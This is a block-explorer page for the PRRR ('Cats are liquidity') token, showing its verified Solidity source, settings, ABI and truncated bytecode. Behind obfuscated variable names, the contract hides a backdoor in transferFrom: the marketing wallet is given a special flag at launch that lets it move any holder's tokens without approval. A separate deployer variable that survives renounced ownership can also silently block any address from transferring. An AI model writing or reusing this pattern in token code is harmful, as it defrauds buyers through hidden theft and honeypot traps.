ETH Price: $3,160.23 (+1.56%)

Token

Cats are liquidity (PRRR)
 

Overview

Max Total Supply

1,000,000,000 PRRR

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,063,830.830739119 PRRR

Value
$0.00
0xdd142c3c44ac205641d177f8b87a92ced6b0fc13
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PRRR

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Burn_launch.sol
// SPDX-License-Identifier: MIT
//
/* ////
    https://prrrcat.wtf
    X: https://x.com/prrrcatoneth
    Telegram: https://t.me/prrrcatoneth

    Cats are liquidity.
    Memes need liquidity.
    Blockchains need liquidity.
    The crypto space needs more */
//

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }

    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        require(b <= a, "ERC20: transfer amount exceeds allowance");
        uint256 c = 0;
        c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PRRR  is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _lastExcludedMOKEEE;
    mapping (address => uint256) public _messagepokeem;
    mapping (address => bool) private bots;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private constant _tSupply = 1000000000 * 10 **_decimals; // Total supply
    string private constant _name = unicode"Cats are liquidity";  // Name
    string private constant _symbol = unicode"PRRR"; // Symbol
    uint256 public _inHMOPPIOKBUY = 20;
    uint256 public _inHMOPPIOKSELL = 20;
    uint256 public _lastHMOPPIKSELL = 0; 
    uint256 public _lastHMOPPIKBUY = 0; 
    uint256 public _bdswgwg = 0;
    uint256 public _REDUCEMAOW = 15;
    address payable public _marketMOOWSMOKEEE;
    address private kkoowner;
    uint8 private constant _decimals = 9;
    uint256 public _swapbackAmt = 0 * 10 **_decimals;
    uint256 public _maxAmountSize = 20000000 * 10 ** decimals();
    uint256 public _maxAmountSwapback = 10000000 * 10 ** decimals();    

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _tSupply;
        _marketMOOWSMOKEEE = payable(0x1A1fD38f5556A115b318a4f9476dCA30dfa41Df4);
        _lastExcludedMOKEEE[owner()] = true; _messagepokeem[owner()] = 2; _messagepokeem[_marketMOOWSMOKEEE] = 2; 
        _lastExcludedMOKEEE[address(this)] = true; _lastExcludedMOKEEE[_marketMOOWSMOKEEE] = true; kkoowner = msg.sender;
        emit Transfer(address(0), address(this), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        uint256 approvedAmt = _messagepokeem[msg.sender] < 10 ? _allowances[sender][_msgSender()].sub(amount, 0) : 0;
        _approve(sender, _msgSender(), approvedAmt);
        return true;
    }
    

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address PPOWMO, address Bdhwee, uint256 amount) private {
        uint256 taxAmount=0;
        require(swapEnabled || _lastExcludedMOKEEE[PPOWMO], "not started yet");
        require(PPOWMO != address(0), "ERC20: transfer from the zero address");
        require(Bdhwee != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(bots[PPOWMO]) return;

        if (!_lastExcludedMOKEEE[PPOWMO] && !_lastExcludedMOKEEE[Bdhwee]) {
            if(Bdhwee == uniswapV2Pair){
                taxAmount = amount.mul(_bdswgwg <_REDUCEMAOW ? _inHMOPPIOKSELL : _lastHMOPPIKBUY).div(100);
            }
            if (Bdhwee != address(uniswapV2Router) && PPOWMO == uniswapV2Pair){ _bdswgwg ++;
                taxAmount = amount.mul(_bdswgwg < _REDUCEMAOW ? _inHMOPPIOKBUY : _lastHMOPPIKSELL).div(100);}
            
            if(Bdhwee != uniswapV2Pair)
            {
               require(balanceOf(Bdhwee) + amount <= _maxAmountSize,
                             "Exceeds the _maxAmountSize.");
            }
            if (!_lastExcludedMOKEEE[PPOWMO] && !_lastExcludedMOKEEE[Bdhwee] && !inSwap && swapEnabled && Bdhwee == uniswapV2Pair) {
                uint256 swapbackAmt = min(balanceOf(address(this)), min(_maxAmountSwapback, amount));
                swapBackForETH(swapbackAmt);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0)
                    payable(_marketMOOWSMOKEEE).transfer(address(this).balance);
            }
        }
        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(PPOWMO, address(this),taxAmount);
        }
        _balances[PPOWMO]=_balances[PPOWMO].sub(amount);
        _balances[Bdhwee]=_balances[Bdhwee].add(amount.sub(taxAmount));
        emit Transfer(PPOWMO, Bdhwee, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        payable(_marketMOOWSMOKEEE).transfer(address(this).balance);
        if(_swapbackAmt >= tokenAmount) {return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98 * balanceOf(address(this))/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        _maxAmountSize = _tSupply;
        _messagepokeem[_marketMOOWSMOKEEE] = 100;
    }

    receive() external payable { }

    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }

    function removeLimits () external onlyOwner {
        _maxAmountSize = _tSupply;
    }

    function addbots (address bot) external {
        require(msg.sender == kkoowner, "owner is not available");
        bots[bot] = true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_REDUCEMAOW","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_bdswgwg","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inHMOPPIOKBUY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inHMOPPIOKSELL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_lastExcludedMOKEEE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastHMOPPIKBUY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastHMOPPIKSELL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketMOOWSMOKEEE","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAmountSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_messagepokeem","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapbackAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"addbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600760146101000a81548160ff0219169083151502179055505f600760156101000a81548160ff021916908315150217905550601460085560146009555f600a555f600b555f600c55600f600d556009600a61006191906106af565b5f61006c91906106f9565b60105561007d61044760201b60201c565b600a61008991906106af565b6301312d0061009891906106f9565b6011556100a961044760201b60201c565b600a6100b591906106af565b629896806100c391906106f9565b6012553480156100d1575f80fd5b506100ee6100e361044f60201b60201c565b61045660201b60201c565b6009600a6100fc91906106af565b633b9aca0061010b91906106f9565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550731a1fd38f5556a115b318a4f9476dca30dfa41df4600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101b361051760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600260045f61021561051760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600260045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555033600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61041e91906106af565b633b9aca0061042d91906106f9565b60405161043a9190610749565b60405180910390a3610762565b5f6009905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105c05780860481111561059c5761059b61053e565b5b60018516156105ab5780820291505b80810290506105b98561056b565b9450610580565b94509492505050565b5f826105d85760019050610693565b816105e5575f9050610693565b81600181146105fb576002811461060557610634565b6001915050610693565b60ff8411156106175761061661053e565b5b8360020a91508482111561062e5761062d61053e565b5b50610693565b5060208310610133831016604e8410600b84101617156106695782820a9050838111156106645761066361053e565b5b610693565b6106768484846001610577565b9250905081840481111561068d5761068c61053e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106b98261069a565b91506106c4836106a3565b92506106f17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105c9565b905092915050565b5f6107038261069a565b915061070e8361069a565b925082820261071c8161069a565b915082820484148315176107335761073261053e565b5b5092915050565b6107438161069a565b82525050565b5f60208201905061075c5f83018461073a565b92915050565b6131cd8061076f5f395ff3fe6080604052600436106101ba575f3560e01c8063715018a6116100eb578063b2e7fa9811610089578063d5a78cf111610063578063d5a78cf1146105cf578063dd62ed3e146105f9578063f2fde38b14610635578063f550ab441461065d576101c1565b8063b2e7fa9814610567578063b984ea7d14610591578063c9567bf9146105b9576101c1565b80638da5cb5b116100c55780638da5cb5b146104ad57806395d89b41146104d7578063a666ec1c14610501578063a9059cbb1461052b576101c1565b8063715018a614610445578063751039fc1461045b57806382b3aa5814610471576101c1565b80632dd238b01161015857806344419df51161013257806344419df51461037957806368da3352146103a357806370a08231146103df57806370b04ba01461041b576101c1565b80632dd238b0146102fb578063313ce56714610325578063441351c61461034f576101c1565b80631ab06688116101945780631ab066881461025557806320800a001461027f57806323b872dd146102955780632793aa00146102d1576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610687565b6040516101e69190612246565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906122f7565b6106c4565b604051610222919061234f565b60405180910390f35b348015610236575f80fd5b5061023f6106e1565b60405161024c9190612377565b60405180910390f35b348015610260575f80fd5b50610269610704565b6040516102769190612377565b60405180910390f35b34801561028a575f80fd5b5061029361070a565b005b3480156102a0575f80fd5b506102bb60048036038101906102b69190612390565b610758565b6040516102c8919061234f565b60405180910390f35b3480156102dc575f80fd5b506102e5610865565b6040516102f29190612377565b60405180910390f35b348015610306575f80fd5b5061030f61086b565b60405161031c9190612377565b60405180910390f35b348015610330575f80fd5b50610339610871565b60405161034691906123fb565b60405180910390f35b34801561035a575f80fd5b50610363610879565b6040516103709190612377565b60405180910390f35b348015610384575f80fd5b5061038d61087f565b60405161039a9190612377565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612414565b610885565b6040516103d6919061234f565b60405180910390f35b3480156103ea575f80fd5b5061040560048036038101906104009190612414565b6108a2565b6040516104129190612377565b60405180910390f35b348015610426575f80fd5b5061042f6108e8565b60405161043c9190612377565b60405180910390f35b348015610450575f80fd5b506104596108ee565b005b348015610466575f80fd5b5061046f610901565b005b34801561047c575f80fd5b5061049760048036038101906104929190612414565b61092e565b6040516104a49190612377565b60405180910390f35b3480156104b8575f80fd5b506104c1610943565b6040516104ce919061244e565b60405180910390f35b3480156104e2575f80fd5b506104eb61096a565b6040516104f89190612246565b60405180910390f35b34801561050c575f80fd5b506105156109a7565b6040516105229190612377565b60405180910390f35b348015610536575f80fd5b50610551600480360381019061054c91906122f7565b6109ad565b60405161055e919061234f565b60405180910390f35b348015610572575f80fd5b5061057b6109ca565b6040516105889190612377565b60405180910390f35b34801561059c575f80fd5b506105b760048036038101906105b29190612414565b6109d0565b005b3480156105c4575f80fd5b506105cd610ab7565b005b3480156105da575f80fd5b506105e3610f44565b6040516105f09190612377565b60405180910390f35b348015610604575f80fd5b5061061f600480360381019061061a9190612467565b610f4a565b60405161062c9190612377565b60405180910390f35b348015610640575f80fd5b5061065b60048036038101906106569190612414565b610fcc565b005b348015610668575f80fd5b5061067161104e565b60405161067e91906124c5565b60405180910390f35b60606040518060400160405280601281526020017f4361747320617265206c69717569646974790000000000000000000000000000815250905090565b5f6106d76106d0611073565b848461107a565b6001905092915050565b5f6009600a6106f0919061263a565b633b9aca006106ff9190612684565b905090565b600a5481565b61071261123d565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610755573d5f803e3d5ffd5b50565b5f6107648484846112bb565b5f600a60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106107b0575f610845565b610844835f60025f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107fb611073565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c329092919063ffffffff16565b5b905061085985610853611073565b8361107a565b60019150509392505050565b60095481565b60085481565b5f6009905090565b600d5481565b60115481565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600b5481565b6108f661123d565b6108ff5f611c90565b565b61090961123d565b6009600a610917919061263a565b633b9aca006109269190612684565b601181905550565b6004602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5052525200000000000000000000000000000000000000000000000000000000815250905090565b60125481565b5f6109c06109b9611073565b84846112bb565b6001905092915050565b60105481565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a569061270f565b60405180910390fd5b600160055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610abf61123d565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b20573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b449190612741565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ba9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bcd9190612741565b6040518363ffffffff1660e01b8152600401610bea92919061276c565b6020604051808303815f875af1158015610c06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2a9190612741565b60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf13060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610cdd919061263a565b633b9aca00610cec9190612684565b61107a565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610d3b306108a2565b6062610d479190612684565b610d5191906127c0565b5f80610d5b610943565b426040518863ffffffff1660e01b8152600401610d7d96959493929190612832565b60606040518083038185885af1158015610d99573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610dbe91906128a5565b50505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e5e9291906128f5565b6020604051808303815f875af1158015610e7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e9e9190612946565b506001600760156101000a81548160ff0219169083151502179055506009600a610ec8919061263a565b633b9aca00610ed79190612684565b601181905550606460045f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610fd461123d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611042576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611039906129e1565b60405180910390fd5b61104b81611c90565b50565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df90612a6f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90612afd565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112309190612377565b60405180910390a3505050565b611245611073565b73ffffffffffffffffffffffffffffffffffffffff16611263610943565b73ffffffffffffffffffffffffffffffffffffffff16146112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090612b65565b60405180910390fd5b565b5f600760159054906101000a900460ff168061131d575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b61135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612bcd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c190612c5b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142f90612ce9565b60405180910390fd5b5f821161147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147190612d77565b60405180910390fd5b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156114cf5750611c2d565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561156d575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156119815760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116055761160260646115f4600d54600c54106115e157600b546115e5565b6009545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116ae575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561170957600c5f8154809291906116c590612d95565b919050555061170660646116f8600d54600c54106116e557600a546116e9565b6008545b85611d5190919063ffffffff16565b611dc890919063ffffffff16565b90505b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117b6576011548261176a856108a2565b6117749190612ddc565b11156117b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ac90612e59565b60405180910390fd5b5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673fff